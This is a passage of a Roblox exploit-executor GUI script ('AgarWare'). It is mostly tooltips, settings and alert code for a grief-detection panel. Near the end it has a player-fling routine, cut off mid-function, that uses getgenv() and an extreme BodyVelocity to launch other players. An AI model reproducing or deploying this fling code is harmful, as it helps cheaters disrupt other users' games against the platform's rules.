if not AutoPaintRepTickBox:GetAttribute("Enabled") then return end
if shared.IsRestoringBKit then return end
if isChangeCounted() then
if shared.AutoPaintDebounce then
task.cancel(shared.AutoPaintDebounce)
end
shared.AutoPaintDebounce = task.delay(1, function()
shared.AutoPaintDebounce = nil
shared.IsRestoringBKit = true
-- Check if Paint tool exists before restoring
local hasPaintTool = getPaintTool() ~= nil
if hasPaintTool then
-- Restore with message (detected from change event)
restoreBrick(repBrick, true)
end
shared.IsRestoringBKit = false
end)
end
end
--------------------------------------------------
-- 60-SECOND CHECK LOOP
--------------------------------------------------
local function checkBrickProperties()
if not AutoPaintRepTickBox:GetAttribute("Enabled") then return false end
if shared.IsRestoringBKit then return false end
local color = repBrick.Color
local material = repBrick.Material
local hasChildren = #repBrick:GetChildren() > 0
-- Check if brick needs restoration
local needsRestore = false
-- Check color (must be exactly 192, 192, 192)
if color ~= DEFAULT_COLOR then
needsRestore = true
end
-- Check material (must be one of the clean materials)
if not CLEAN_MATERIALS[material.Name] then
needsRestore = true
end
-- Check children (must have no children)
if hasChildren then
needsRestore = true
end
return needsRestore
end
task.spawn(function()
while task.wait(60) do
if AutoPaintRepTickBox:GetAttribute("Enabled") then
if checkBrickProperties() then
-- Brick needs restoration
local hasPaintTool = getPaintTool() ~= nil
if hasPaintTool and not shared.IsRestoringBKit then
shared.IsRestoringBKit = true
-- Restore WITHOUT message (60-second check, not change detection)
restoreBrick(repBrick, false)
shared.IsRestoringBKit = false
end
end
end
end
end)
--------------------------------------------------
-- MONITOR
--------------------------------------------------
local connections = {}
local function startWatching()
table.insert(connections, repBrick:GetPropertyChangedSignal("Color"):Connect(onBrickChanged))
table.insert(connections, repBrick:GetPropertyChangedSignal("Material"):Connect(onBrickChanged))
table.insert(connections, repBrick:GetPropertyChangedSignal("Anchored"):Connect(onBrickChanged))
table.insert(connections, repBrick:GetPropertyChangedSignal("Size"):Connect(onBrickChanged))
table.insert(connections, repBrick:GetPropertyChangedSignal("BrickColor"):Connect(onBrickChanged))
table.insert(connections, repBrick.ChildAdded:Connect(onBrickChanged))
table.insert(connections, repBrick.ChildRemoved:Connect(onBrickChanged))
end
local function stopWatching()
for _, c in ipairs(connections) do
pcall(function() c:Disconnect() end)
end
connections = {}
if shared.AutoPaintDebounce then
task.cancel(shared.AutoPaintDebounce)
shared.AutoPaintDebounce = nil
end
end
startWatching()
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
stopWatching()
end
end)
end;
task.spawn(C_20a);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GSettingsScript
local function C_210()
local script = G2L["210"];
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local LocalPlayer = Players.LocalPlayer
local GSettingsGroup = script.Parent
local GSettingsMinimize = GSettingsGroup.GSettingsTitle.GSettingsMinimize
local function getRows()
local rows = {}
for _, child in ipairs(GSettingsGroup:GetChildren()) do
if child:IsA("Frame") and string.sub(child.Name, -3) == "Row" then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = GSettingsGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
GSettingsMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
GSettingsGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
GSettingsMinimize.Text = "+"
else
GSettingsGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
GSettingsMinimize.Text = "-"
end
end)
end;
task.spawn(C_210);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GSettingsToolTip
local function C_211()
local script = G2L["211"];
-- ============================================================
-- ENABLE TOOLTIP SCRIPT
-- ============================================================
local Group = script.Parent
-- ============================================================
-- SCREENGUI HELPER
-- ============================================================
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then
return p
end
p = p.Parent
end
end
local ScreenGui = getScreenGui()
if not ScreenGui then return end
-- ============================================================
-- FIND UI REFERENCES
-- ============================================================
local function findDescendant(name)
for _, v in pairs(ScreenGui:GetDescendants()) do
if v.Name == name then
return v
end
end
end
-- Enable tickboxes (left side, unchanged)
local EnableDeleteTickBox = findDescendant("EnableDeleteTickBox")
local EnableToxifyTickBox = findDescendant("EnableToxifyTickBox")
local EnableAnchoredTickBox = findDescendant("EnableAnchoredTickBox")
local EnableSpamTickBox = findDescendant("EnableSpamTickBox")
local EnableExploitsTickBox = findDescendant("EnableExploitsTickBox")
local EnableHelp = findDescendant("EnableHelp")
-- GSettings (right side)
local CooldownGriefHelp = findDescendant("CooldownGriefHelp")
local GriefEnlightenTickBox = findDescendant("GriefEnlightenTickBox")
local GriefInGameTickBox = findDescendant("GriefInGameTickBox")
local TimeFilterHelp = findDescendant("TimeFilterHelp")
local WListHelp = findDescendant("WListHelp")
-- ============================================================
-- TOOLTIP BUILDER
-- ============================================================
local function makeTooltip(text)
local frame = Instance.new("Frame")
frame.BackgroundColor3 = Color3.fromRGB(16,16,16)
frame.BorderSizePixel = 0
frame.ZIndex = 100
frame.AutomaticSize = Enum.AutomaticSize.Y
frame.Size = UDim2.new(0, 212, 0, 0)
frame.Visible = false
frame.Parent = ScreenGui
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(57,57,57)
stroke.Parent = frame
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0,6)
padding.PaddingBottom = UDim.new(0,6)
padding.PaddingLeft = UDim.new(0,6)
padding.PaddingRight = UDim.new(0,6)
padding.Parent = frame
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = text
label.TextColor3 = Color3.new(1,1,1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0,200,0,0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = frame
return frame
end
local function hookTooltip(button, tooltipFrame)
if not button then return end
button.MouseEnter:Connect(function()
local abs = button.AbsolutePosition
local size = button.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
button.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
end
-- ============================================================
-- CREATE TOOLTIPS
-- ============================================================
-- Left side (enable group) - unchanged
local deleteTooltip = makeTooltip(
"Detects players deleting other people's builds."
)
local toxifyTooltip = makeTooltip(
"Detects players toxifying other people's builds."
)
local anchoredTooltip = makeTooltip(
"Detects players unanchoring other people's builds."
)
local spamTooltip = makeTooltip(
"Detects players spamming blocks."
)
local exploitsTooltip = makeTooltip(
"Detects players using grief auras, grief scripts and other exploits. You must turn on any grief detections to detect when they use exploits to grief with those tools.\n\nAlert in chat will send a different message when they use scripts to grief."
)
local helpTooltip = makeTooltip(
"Enabling any detection will monitor for possible griefing.\nTurn on punish options to automatically punish detected players.\n\nView detection logs by typing /console in chat."
)
-- Right side (GSettings)
local cooldownTooltip = makeTooltip(
"Sets the cooldown in seconds before a player can be flagged for griefing again.\n\nSet to 0 for no cooldown."
)
local enlightenTooltip = makeTooltip(
"When ON, all players are monitored for griefing.\n\nWhen OFF, players who own The Arkenstone in their backpack are ignored and will not be detected."
)
local inGameTooltip = makeTooltip(
"When ON, deleting blocks counts as griefing even if the block owner is offline.\n\nWhen OFF, only deleting blocks of players currently in the server counts as griefing."
)
local timeFilterTooltip = makeTooltip(
"Only detects players whose playtime (in seconds) is below this number.\n\nSet to 0 to detect everyone regardless of playtime."
)
local wlistTooltip = makeTooltip(
"Whitelisted players will never be flagged for griefing, regardless of any other settings."
)
-- ============================================================
-- HOOK THEM
-- ============================================================
-- Left side
hookTooltip(EnableDeleteTickBox, deleteTooltip)
hookTooltip(EnableToxifyTickBox, toxifyTooltip)
hookTooltip(EnableAnchoredTickBox, anchoredTooltip)
hookTooltip(EnableSpamTickBox, spamTooltip)
hookTooltip(EnableExploitsTickBox, exploitsTooltip)
hookTooltip(EnableHelp, helpTooltip)
-- Right side
hookTooltip(CooldownGriefHelp, cooldownTooltip)
hookTooltip(GriefEnlightenTickBox, enlightenTooltip)
hookTooltip(GriefInGameTickBox, inGameTooltip)
hookTooltip(TimeFilterHelp, timeFilterTooltip)
hookTooltip(WListHelp, wlistTooltip)
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
deleteTooltip:Destroy()
toxifyTooltip:Destroy()
anchoredTooltip:Destroy()
spamTooltip:Destroy()
exploitsTooltip:Destroy()
helpTooltip:Destroy()
cooldownTooltip:Destroy()
enlightenTooltip:Destroy()
inGameTooltip:Destroy()
timeFilterTooltip:Destroy()
wlistTooltip:Destroy()
end
end)
end;
task.spawn(C_211);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.TimeFilterRow.TimeFilterChanger.TimeFilterScript
local function C_219()
local script = G2L["219"];
local textBox = script.Parent -- TimeFilterChanger TextBox
-- Show current filter on load and print it
shared.GriefTimeFilter = shared.GriefTimeFilter or 0
textBox.Text = tostring(shared.GriefTimeFilter)
if shared.GriefTimeFilter == 0 then
print("[Time Filter] Set to 0 - detecting everyone")
else
print("[Time Filter] Set to", shared.GriefTimeFilter, "- detecting players under", shared.GriefTimeFilter, "seconds playtime")
end
textBox.FocusLost:Connect(function()
local num = tonumber(textBox.Text)
if num and num >= 0 then
shared.GriefTimeFilter = num
if num == 0 then
print("[Time Filter] Set to 0 - detecting everyone")
else
print("[Time Filter] Updated to", num, "- detecting players under", num, "seconds playtime")
end
else
textBox.Text = tostring(shared.GriefTimeFilter)
print("[Time Filter] Invalid input, keeping", shared.GriefTimeFilter)
end
end)
end;
task.spawn(C_219);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListLabelRow.WListLabelScript
local function C_21c()
local script = G2L["21c"];
local WListLabelRow = script.Parent
local WListLabelHelp = WListLabelRow.WListLabelHelp
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then return p end
p = p.Parent
end
end
local tooltipFrame = Instance.new("Frame")
tooltipFrame.Name = "WListTooltip"
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
tooltipFrame.Visible = false
tooltipFrame.Parent = getScreenGui()
local tooltipStroke = Instance.new("UIStroke")
tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
tooltipStroke.Thickness = 1
tooltipStroke.Parent = tooltipFrame
local tooltipPadding = Instance.new("UIPadding")
tooltipPadding.PaddingTop = UDim.new(0, 6)
tooltipPadding.PaddingBottom = UDim.new(0, 6)
tooltipPadding.PaddingLeft = UDim.new(0, 6)
tooltipPadding.PaddingRight = UDim.new(0, 6)
tooltipPadding.Parent = tooltipFrame
local tooltipText = Instance.new("TextLabel")
tooltipText.BackgroundTransparency = 1
tooltipText.Text = "Whitelisted players will be ignored by grief detection"
tooltipText.TextColor3 = Color3.new(1, 1, 1)
tooltipText.TextSize = 14
tooltipText.TextXAlignment = Enum.TextXAlignment.Left
tooltipText.TextYAlignment = Enum.TextYAlignment.Top
tooltipText.Font = Enum.Font.GothamSemibold
tooltipText.TextWrapped = true
tooltipText.Size = UDim2.new(0, 200, 0, 0)
tooltipText.AutomaticSize = Enum.AutomaticSize.Y
tooltipText.ZIndex = 101
tooltipText.Parent = tooltipFrame
WListLabelHelp.MouseEnter:Connect(function()
local abs = WListLabelHelp.AbsolutePosition
local size = WListLabelHelp.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
WListLabelHelp.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
tooltipFrame:Destroy()
end
end)
end;
task.spawn(C_21c);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListRow.WListScript
local function C_220()
local script = G2L["220"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
repeat task.wait() until shared.DropdownMaster
local function updateWhitelist(selected)
-- Always include LocalPlayer
selected[LocalPlayer.Name] = true
local names = {}
for name, _ in pairs(selected) do
table.insert(names, name)
end
script.Parent:SetAttribute("Whitelist", table.concat(names, ","))
shared.GriefWhitelist = selected
end
shared.DropdownMaster.create({
dropdown = script.Parent:WaitForChild("WListDropdown"),
multiSelect = true,
showIcons = true,
initialSelection = {[LocalPlayer.Name] = true}, -- Start with LocalPlayer selected
onMultiSelectChange = function(selected)
updateWhitelist(selected)
end,
bottomButtons = {
{
text = "Select All",
onClick = function(state)
-- Clear and select all
for k in pairs(state.selectedPlayers) do
state.selectedPlayers[k] = nil
end
for _, p in pairs(Players:GetPlayers()) do
state.selectedPlayers[p.Name] = true
end
local count = 0
for _ in pairs(state.selectedPlayers) do count = count + 1 end
state.mainLabel.Text = count .. " Players Selected"
state.notifyChange()
state.rebuildList()
end
},
{
text = "Unselect All",
onClick = function(state)
-- Clear all except LocalPlayer
for k in pairs(state.selectedPlayers) do
state.selectedPlayers[k] = nil
end
state.selectedPlayers[LocalPlayer.Name] = true
state.mainLabel.Text = "1 Player Selected"
state.notifyChange()
state.rebuildList()
end
},
{
text = "Show Display",
onClick = function(state)
state.setShowDisplay(not state.showDisplay)
state.button.Text = state.showDisplay and "Show Username" or "Show Display"
state.rebuildList()
end
},
{
text = "Select Admin",
onClick = function(state)
local chosenTeam = game:GetService("Teams"):FindFirstChild("Chosen")
if not chosenTeam then return end
for _, p in pairs(Players:GetPlayers()) do
if p.Team == chosenTeam then
state.selectedPlayers[p.Name] = true
break
end
end
local count = 0
for _ in pairs(state.selectedPlayers) do count = count + 1 end
state.mainLabel.Text = count .. " Players Selected"
state.notifyChange()
state.rebuildList()
end
}
}
})
-- Auto-whitelist LocalPlayer on start
local initialWhitelist = {[LocalPlayer.Name] = true}
updateWhitelist(initialWhitelist)
end;
task.spawn(C_220);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefInGameRow.GriefInGameScript
local function C_223()
local script = G2L["223"];
local Players = game:GetService("Players")
--------------------------------------------------
-- STRUCTURE
--------------------------------------------------
local GriefInGameRow = script.Parent
local GSettingsGroup = GriefInGameRow.Parent
local RightSide = GSettingsGroup.Parent
local Page = RightSide.Parent
local ContentArea = Page.Parent
local MainFrame = ContentArea.Parent
local ScreenGui = MainFrame.Parent
local GriefInGameTickBox = GriefInGameRow:WaitForChild("GriefInGameTickBox")
local GriefInGameAccent = GSettingsGroup.Parent.Parent.TCODetectionLeftSide.EnableGroup:WaitForChild("EnableAccentColor")
--------------------------------------------------
-- ATTRIBUTE + SHARED SYNC
--------------------------------------------------
if ScreenGui:GetAttribute("GriefInGameEnabled") == nil then
ScreenGui:SetAttribute("GriefInGameEnabled", true)
end
local function isEnabled()
return ScreenGui:GetAttribute("GriefInGameEnabled") == true
end
local function setState(state)
ScreenGui:SetAttribute("GriefInGameEnabled", state)
-- Sync to shared so grief detection script can read it
shared.GriefInGameEnabled = state
if state then
GriefInGameTickBox.BackgroundColor3 = GriefInGameAccent.BackgroundColor3
print("[Grief InGame] ON - deleting offline player bricks counts as griefing")
else
GriefInGameTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
print("[Grief InGame] OFF - only deleting bricks of players currently in game counts as griefing")
end
end
--------------------------------------------------
-- CLICK
--------------------------------------------------
GriefInGameTickBox.MouseButton1Click:Connect(function()
setState(not isEnabled())
end)
--------------------------------------------------
-- AUTO ENABLE ON EXECUTE
--------------------------------------------------
setState(true)
end;
task.spawn(C_223);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefEnlightenRow.GriefEnlightenScript
local function C_227()
local script = G2L["227"];
local Players = game:GetService("Players")
--------------------------------------------------
-- STRUCTURE
--------------------------------------------------
local GriefEnlightenRow = script.Parent
local GSettingsGroup = GriefEnlightenRow.Parent
local RightSide = GSettingsGroup.Parent
local Page = RightSide.Parent
local ContentArea = Page.Parent
local MainFrame = ContentArea.Parent
local ScreenGui = MainFrame.Parent
local GriefEnlightenTickBox = GriefEnlightenRow:WaitForChild("GriefEnlightenTickBox")
local GriefEnlightenAccent = GSettingsGroup.Parent.Parent.TCODetectionLeftSide.EnableGroup:WaitForChild("EnableAccentColor")
--------------------------------------------------
-- ATTRIBUTE + SHARED SYNC
--------------------------------------------------
if ScreenGui:GetAttribute("GriefEnlightenEnabled") == nil then
ScreenGui:SetAttribute("GriefEnlightenEnabled", true)
end
local function isEnabled()
return ScreenGui:GetAttribute("GriefEnlightenEnabled") == true
end
local function setState(state)
ScreenGui:SetAttribute("GriefEnlightenEnabled", state)
-- Sync to shared so the grief detection script can read it
shared.GriefEnlightenEnabled = state
if state then
GriefEnlightenTickBox.BackgroundColor3 = GriefEnlightenAccent.BackgroundColor3
print("[Grief Enlighten] ON - detecting everyone")
else
GriefEnlightenTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
print("[Grief Enlighten] OFF - only detecting players without The Arkenstone")
end
end
--------------------------------------------------
-- CLICK
--------------------------------------------------
GriefEnlightenTickBox.MouseButton1Click:Connect(function()
setState(not isEnabled())
end)
--------------------------------------------------
-- AUTO ENABLE
--------------------------------------------------
setState(true)
end;
task.spawn(C_227);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.CooldownGriefRow.CooldownGriefChanger.CooldownScript
local function C_22d()
local script = G2L["22d"];
local textBox = script.Parent -- CooldownGriefChanger TextBox
-- Show current cooldown on load and print it
shared.GriefCooldown = shared.GriefCooldown or 30
textBox.Text = tostring(shared.GriefCooldown)
print("[Grief Cooldown] Set to", shared.GriefCooldown)
textBox.FocusLost:Connect(function(enterPressed)
local num = tonumber(textBox.Text)
if num and num >= 0 then -- Allow 0 and above
shared.GriefCooldown = num
if num == 0 then
print("[Grief Cooldown] Set to 0 - no cooldown active")
else
print("[Grief Cooldown] Updated to", num)
end
else
-- Reset to current valid value if bad input (letters, negatives)
textBox.Text = tostring(shared.GriefCooldown)
print("[Grief Cooldown] Invalid input, keeping", shared.GriefCooldown)
end
end)
end;
task.spawn(C_22d);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.PunishScript
local function C_230()
local script = G2L["230"];
local PunishGroup = script.Parent
local PunishMinimize = PunishGroup.PunishTitle.PunishMinimize
local function getRows()
local rows = {}
for _, child in ipairs(PunishGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = PunishGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
PunishMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
PunishGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
PunishMinimize.Text = "+"
else
PunishGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
PunishMinimize.Text = "-"
end
end)
end;
task.spawn(C_230);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.PunishToolTip
local function C_231()
local script = G2L["231"];
-- ============================================================
-- GRIEF TICKBOX TOOLTIP SCRIPT
-- Tooltips for grief tickboxes only
-- ============================================================
local Group = script.Parent
-- ============================================================
-- SCREENGUI HELPER
-- ============================================================
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then
return p
end
p = p.Parent
end
end
local ScreenGui = getScreenGui()
if not ScreenGui then return end
-- ============================================================
-- FIND TICKBOXES
-- ============================================================
local function findDescendant(name)
for _, v in pairs(ScreenGui:GetDescendants()) do
if v.Name == name then
return v
end
end
end
local FlingGriefTickBox = findDescendant("FlingGriefTickBox")
local AlertGriefTickBox = findDescendant("AlertGriefTickBox")
local ConfirmGriefTickBox = findDescendant("ConfirmGriefTickBox")
local SFXGriefTickBox = findDescendant("SFXGriefTickBox")
local FlingExploitTickBox = findDescendant("FlingExploitTickBox")
-- ============================================================
-- TOOLTIP BUILDER
-- ============================================================
local function makeTooltip(text)
local frame = Instance.new("Frame")
frame.BackgroundColor3 = Color3.fromRGB(16,16,16)
frame.BorderSizePixel = 0
frame.ZIndex = 100
frame.AutomaticSize = Enum.AutomaticSize.Y
frame.Size = UDim2.new(0, 212, 0, 0)
frame.Visible = false
frame.Parent = ScreenGui
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(57,57,57)
stroke.Parent = frame
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0,6)
padding.PaddingBottom = UDim.new(0,6)
padding.PaddingLeft = UDim.new(0,6)
padding.PaddingRight = UDim.new(0,6)
padding.Parent = frame
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = text
label.TextColor3 = Color3.new(1,1,1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0,200,0,0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = frame
return frame
end
local function hookTooltip(button, tooltipFrame)
if not button then return end
button.MouseEnter:Connect(function()
local abs = button.AbsolutePosition
local size = button.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
button.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
end
-- ============================================================
-- CREATE TOOLTIPS
-- ============================================================
local flingTooltip = makeTooltip(
"Automatically flings players detected griefing."
)
local alertTooltip = makeTooltip(
"Sends an alert when a player is detected griefing."
)
local confirmTooltip = makeTooltip(
"Makes you pov the player that triggered the detection and gives you a list of buttons to punish the player or cancel the detection."
)
local sfxTooltip = makeTooltip(
"Plays an alert sound when a player is detected griefing."
)
local flingExploitTooltip = makeTooltip(
"Automatically flings players detected using exploits to grief."
)
-- ============================================================
-- HOOK THEM
-- ============================================================
hookTooltip(FlingGriefTickBox, flingTooltip)
hookTooltip(AlertGriefTickBox, alertTooltip)
hookTooltip(ConfirmGriefTickBox, confirmTooltip)
hookTooltip(SFXGriefTickBox, sfxTooltip)
hookTooltip(FlingExploitTickBox, flingExploitTooltip)
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
flingTooltip:Destroy()
alertTooltip:Destroy()
confirmTooltip:Destroy()
flingExploitTooltip:Destroy()
end
end)
end;
task.spawn(C_231);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.AlertGriefRow.AlertGriefScript
local function C_237()
local script = G2L["237"];
local Players = game:GetService("Players")
local TextChatService = game:GetService("TextChatService")
local AlertGriefRow = script.Parent
local PunishGroup = AlertGriefRow.Parent
local PunishAccentColor = PunishGroup:WaitForChild("PunishAccentColor")
local AlertGriefTickBox = AlertGriefRow:WaitForChild("AlertGriefTickBox")
--------------------------------------------------
-- ENABLE STATE
--------------------------------------------------
AlertGriefTickBox:SetAttribute("Enabled", true)
local function updateVisual()
if AlertGriefTickBox:GetAttribute("Enabled") then
AlertGriefTickBox.BackgroundColor3 = PunishAccentColor.BackgroundColor3
else
AlertGriefTickBox.BackgroundColor3 = Color3.fromRGB(0,0,0)
end
end
AlertGriefTickBox.MouseButton1Click:Connect(function()
local state = not AlertGriefTickBox:GetAttribute("Enabled")
AlertGriefTickBox:SetAttribute("Enabled", state)
updateVisual()
end)
updateVisual()
--------------------------------------------------
-- ENSURE EVENTS EXIST
--------------------------------------------------
shared.GriefEvent = shared.GriefEvent or Instance.new("BindableEvent")
shared.DeleteGriefEvent = shared.DeleteGriefEvent or Instance.new("BindableEvent")
shared.PaintGriefEvent = shared.PaintGriefEvent or Instance.new("BindableEvent")
shared.BuildGriefEvent = shared.BuildGriefEvent or Instance.new("BindableEvent")
shared.ExploitGriefEvent = shared.ExploitGriefEvent or Instance.new("BindableEvent")
shared.BoomboxLoudEvent = shared.BoomboxLoudEvent or Instance.new("BindableEvent")
--------------------------------------------------
-- CHAT FUNCTION
--------------------------------------------------
local function sendChat(message)
if shared.sendChat then
shared.sendChat(message)
else
TextChatService.TextChannels.RBXGeneral:SendAsync(message)
end
end
--------------------------------------------------
-- ALERT MESSAGES
--------------------------------------------------
local griefMessages = {
["delete"] = "🚨 %s has been detected deleting another player's blocks",
["paint"] = "🚨 %s has been detected painting another player's blocks",
["build"] = "🚨 %s is building too fast",
["exploit"] = "🚨 %s has been detected using exploits to grief",
}
--------------------------------------------------
-- LISTEN FOR GRIEF EVENT
--------------------------------------------------
shared.GriefEvent.Event:Connect(function(player, griefType)
if not AlertGriefTickBox:GetAttribute("Enabled") then return end
local template = griefMessages[griefType]
if not template then return end
sendChat(string.format(template, player.DisplayName))
end)
end;
task.spawn(C_237);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.ConfirmGriefRow.ConfirmGriefScript
local function C_23b()
local script = G2L["23b"];
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local LocalPlayer = Players.LocalPlayer
--------------------------------------------------
-- GUI STRUCTURE
--------------------------------------------------
local ConfirmGriefRow = script.Parent
local PunishGroup = ConfirmGriefRow.Parent
local PunishAccentColor = PunishGroup:WaitForChild("PunishAccentColor")
local ConfirmGriefTickBox = ConfirmGriefRow:WaitForChild("ConfirmGriefTickBox")
--------------------------------------------------
-- SCREEN GUI
--------------------------------------------------
local ScreenGui = script:FindFirstAncestorOfClass("ScreenGui")
local ConfirmGriefFrame = ScreenGui:WaitForChild("ConfirmGriefFrame")
local ConfirmTimer = ConfirmGriefFrame:WaitForChild("ConfirmTimer")
local GriefTargetLabel = ConfirmGriefFrame:WaitForChild("GriefTargetLabel")
local FlingConfirm = ConfirmGriefFrame:WaitForChild("FlingConfirm")
local AlertConfirm = ConfirmGriefFrame:WaitForChild("AlertConfirm")
local CancelConfirm = ConfirmGriefFrame:WaitForChild("CancelConfirm")
local FalseAlertConfirm = ConfirmGriefFrame:WaitForChild("FalseAlertConfirm")
local PauseConfirm = ConfirmGriefFrame:WaitForChild("PauseConfirm")
ConfirmGriefFrame.Visible = false
--------------------------------------------------
-- ENABLE STATE
--------------------------------------------------
ConfirmGriefTickBox:SetAttribute("Enabled", false)
local function updateVisual()
if ConfirmGriefTickBox:GetAttribute("Enabled") then
ConfirmGriefTickBox.BackgroundColor3 = PunishAccentColor.BackgroundColor3
else
ConfirmGriefTickBox.BackgroundColor3 = Color3.fromRGB(0,0,0)
end
end
ConfirmGriefTickBox.MouseButton1Click:Connect(function()
local currentlyEnabled = ConfirmGriefTickBox:GetAttribute("Enabled")
if currentlyEnabled then
ConfirmGriefTickBox:SetAttribute("Enabled", false)
PunishGroup:SetAttribute("ActivePunishMode", nil)
else
PunishGroup:SetAttribute("ActivePunishMode", "Confirm")
ConfirmGriefTickBox:SetAttribute("Enabled", true)
end
updateVisual()
end)
PunishGroup:GetAttributeChangedSignal("ActivePunishMode"):Connect(function()
local mode = PunishGroup:GetAttribute("ActivePunishMode")
if mode ~= "Confirm" and ConfirmGriefTickBox:GetAttribute("Enabled") then
ConfirmGriefTickBox:SetAttribute("Enabled", false)
updateVisual()
end
end)
updateVisual()
--------------------------------------------------
-- CAMERA
--------------------------------------------------
local cam = workspace.CurrentCamera
local function spectatePlayer(player)
task.spawn(function()
for i = 1, 10 do
if player and player.Character then
local hum = player.Character:FindFirstChildOfClass("Humanoid")
if hum then
cam.CameraSubject = hum
return
end
end
task.wait(0.1)
end
end)
end
local function spectateBack()
if LocalPlayer.Character then
local hum = LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if hum then cam.CameraSubject = hum end
end
end
--------------------------------------------------
-- FLING STATE
--------------------------------------------------
local flingCancelled = false
--------------------------------------------------
-- FLING
--------------------------------------------------
local function flingPlayer(TargetPlayer)
local Character = LocalPlayer.Character
local Humanoid = Character and Character:FindFirstChildOfClass("Humanoid")
local RootPart = Humanoid and Humanoid.RootPart
local TCharacter = TargetPlayer.Character
if not TCharacter then return false end
local THumanoid = TCharacter:FindFirstChildOfClass("Humanoid")
local TRootPart = THumanoid and THumanoid.RootPart
local THead = TCharacter:FindFirstChild("Head")
local Accessory = TCharacter:FindFirstChildOfClass("Accessory")
local Handle = Accessory and Accessory:FindFirstChild("Handle")
if not (Character and Humanoid and RootPart) then return false end
if RootPart.Velocity.Magnitude < 50 then
getgenv().OldPos = RootPart.CFrame
end
if THumanoid and THumanoid.Sit then return false end
if THead then
cam.CameraSubject = THead
elseif Handle then
cam.CameraSubject = Handle
elseif THumanoid then
cam.CameraSubject = THumanoid
end
if not TCharacter:FindFirstChildWhichIsA("BasePart") then return false end
local flinged = false
flingCancelled = false
local BV = Instance.new("BodyVelocity")
BV.Name = "ConfirmFlingVel"
BV.Parent = RootPart
BV.Velocity = Vector3.new(900000000, 900000000, 900000000)
BV.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
local FPos = function(BasePart, Pos, Ang)
